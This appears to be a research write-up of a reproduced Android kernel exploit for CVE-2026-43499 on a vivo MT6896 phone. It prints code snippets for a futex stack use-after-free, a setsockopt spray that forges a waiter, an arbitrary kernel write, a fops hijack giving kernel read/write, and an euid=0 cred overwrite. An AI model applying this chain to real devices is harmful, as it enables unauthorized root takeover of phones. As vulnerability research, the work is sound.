CVE-2026-43499在vivo MT6896设备的复现

CVE-2026-43499 Exploit

abstract

We successfully reproduced CVE-2026-43499 (aka GhostLock) on vivo’s MT6896 device V2238A. Because vivo heavily customizes its kernel, the standard GKI approach cannot be directly applied. Instead, we leveraged official kernel source and full firmware to avoid blind-box reverse engineering, and introduced QEMU-based emulation as a lightweight verification environment for deploying our preloads. We achieved a reliable stack-UAF → arbitrary kernel read/write → euid=0 exploit chain, and we hope this work offers useful insights to the community.

introduction

We obtained the kernel source code on the vivo open-source website, and upon verification, it exactly matches the version on our physical device. The full ROM package can also be obtained through OTA packet capture. These are undoubtedly of great help to our work — Together these eliminate the need for blind-box or black-box reverse engineering.

We further introduced QEMU-based emulation to approximate device behavior and deploy our preloads. Since physical devices bring in hardware and user-space runtime noise, QEMU serves only as a lightweight verification environment.

Our current work has stopped at completing the privilege escalation step; the subsequent persisitence strategies can refer to the IonStack exploit chain.

Most of the simple automation work and the actual writing of preloads/probes were completed by LLM agents.

disclaimer

This work is intended for security research and authorized testing only. All experiments were conducted on devices we own. Please do not use it for unauthorized access. Released under the Apache License 2.0.

device info

fieldvalue
productiQOO-Neo7-SE
modelV2238A
kernel5.10.233-android12-9-gc6096b60235f-dirty
romPD2238D_A_15.2.19.0.W10.V000L1
abiarm64-v8a

note that `V2238A is the official model number in manufacturer spec sheets or device certification filings, while PD2238` is supposed to be vivo’s internal project/device code.

repo layout

.
├── docu/
|   ├── ite/         # iteration docs
|   └── branching/   # branch points
├── exec/            # scripts and binaries
├── preload/         # latest working directory
├── preloads/        # history preload builds
└── sh/              # scripts

key resources not included in repo

  • official kernel sourcecode (opensource.vivo.com)

> `android_15.0_kernel_MT6896.tar.gz (183 MB) > > md5: 8B87C45602F455D3696980A224A3E4DA > > sha1: 32986CEFCD63C0BBE16CF39877ADD0CF07EC65C8`

  • official full firmware package (ota fetch)

> `PD2238D_A_15.2.19.0.W10.V000L1.zip (8.03 GB) > > md5: 04413A108141407D0F08DE454B22AD44 > > SHA1: 5701A19F71A5AEABDEF07510D03919B892C90411`

exploit chain

`remove_waiter() uses current instead of waiter->task, leaving a stack-resident rt_mutex_waiter alive after futex_wait_requeue_pi returns, still referenced by pi_blocked_on`:

// kernel/futex/core.c — the defect (5.10.233)
static int remove_waiter(struct rt_mutex *lock)
{
        ...
        rt_mutex_dequeue(lock, waiter);
        ...
}
// caller: fixup ownership against `current`,
// so the waiter S on the dead stack frame stays reachable
// via task->pi_blocked_on  →  stack UAF window

The cover primitive: After exhausting the usual candidates (`fd_set, pselect`, compat paths — all geometric misses), a full audit surfaced one call that had never been scanned (prior probes only tested options ≤ 0x20 bytes):

// 0x108 attacker-controlled bytes copied to the SAME thread's stack;
// measured geometry: dest - S = -0x68, i.e. the entire 0x50-byte
// rt_mutex_waiter lands inside the copy window — on both kernels
struct group_source_req greq;          // user-controlled
memset(&greq, 0, sizeof(greq));
pack_fake_waiter(&greq, target);       // S+0x00 .. S+0x50 fully shaped
setsockopt(fd, IPPROTO_IPV6,           // 41
           MCAST_JOIN_SOURCE_GROUP,    // 46
           &greq, sizeof(greq));       // 0x108

The write primitive: Reshape the fake waiter so `rt_mutex_dequeue takes the Case-2 branch of rb_erase_augmented — one controlled 8-byte kernel write per punch. empty_zero_page as the fake lock host makes trylock` always succeed and the traversal exit cleanly:

// fake waiter field map (buf offset → S offset)
w[0x68] = pc;          // S+0x00 tree_entry.parent_color = pc (see below)
w[0x70] = 0;           // S+0x08 rb_right = NULL
w[0x78] = WRITE_TARGET;// S+0x10 rb_left  → where the write lands
w[0xa0] = empty_zero_page; // S+0x38 lock → bss zero host, trylock wins
w[0xa8] = 140;         // S+0x40 prio passes the equal-prio check

// kernel/locking/rtmutex.c — [7] rt_mutex_dequeue, Case-2 (no right child):
//     tmp->__rb_parent_color = pc;   ←  [S->tree_left] = pc  ★ THE WRITE
// constraint: pc's parent must be non-NULL and not the host itself,
// otherwise __rb_change_child pollutes the lock tree root and the
// follow-up enqueue walks the target as a node → Oops
pc = loggers_addr | 1; // harmless side effect: [loggers+8]

A second shape of the same layout points `pi_tree_entry at a forged ops table, hijacking ashmem_misc`’s fops pointer through a CFI-legal trampoline — yielding arbitrary kernel read/write via configfs:

// S+0x18 pi_tree_entry.parent_color = fake_fops (cfi_jt trampolines)
// punch → adjust_prio_chain walks the pi tree → [ASHMEM_MISC_FOPS] = fake_fops
// configfs attributes then become a kernel read/write oracle:
//   read:  cat  /sys/kernel/config/probe/attr   → kernel_read64(addr)
//   write: echo > /sys/kernel/config/probe/attr → kernel_write64(addr)
// (slab targets are blocked by hardened usercopy — .data/bss/vmemmap only)

Landing: Writing `cred+0x04 (real uid) freezes the device the instant it lands; the same write at cred+0x14 (euid) succeeds with the process fully alive. So we ship euid=0` and fork a child to drop the deliverable before anything else can happen:

// leaf-zero shape: rb_left = rb_right = 0 → pure zeroing write
w2_leaf_zero(cred + 0x14);        // euid = egid = 0, process survives
// (contrast: w2_leaf_zero(cred + 0x04)  → uid = 0, device wedges
//  suspected vivo RSC / vendor futex hook side effect, unconfirmed)

if (geteuid() == 0) {
        pid_t p = fork();          // child inherits the patched cred
        if (p == 0) {
                int fd = open("/sdcard/ASK/yes.txt", O_CREAT|O_WRONLY, 0644);
                write(fd, "yes", 3); fsync(fd); _exit(0);
        }
}

relevant vulnerabilities

CVEakastatus
CVE-2026-31431CopyFail`CONFIG_CRYPTO_USER_API_AEAD` is not set
CVE-2026-43284DirtyFrag(xfrm-ESP)blocked by SELinux
CVE-2026-43500DirtyFrag(RxRPC)`CONFIG_AF_RXRPC` is not set

ref links:


发布于

分类

作者

标签: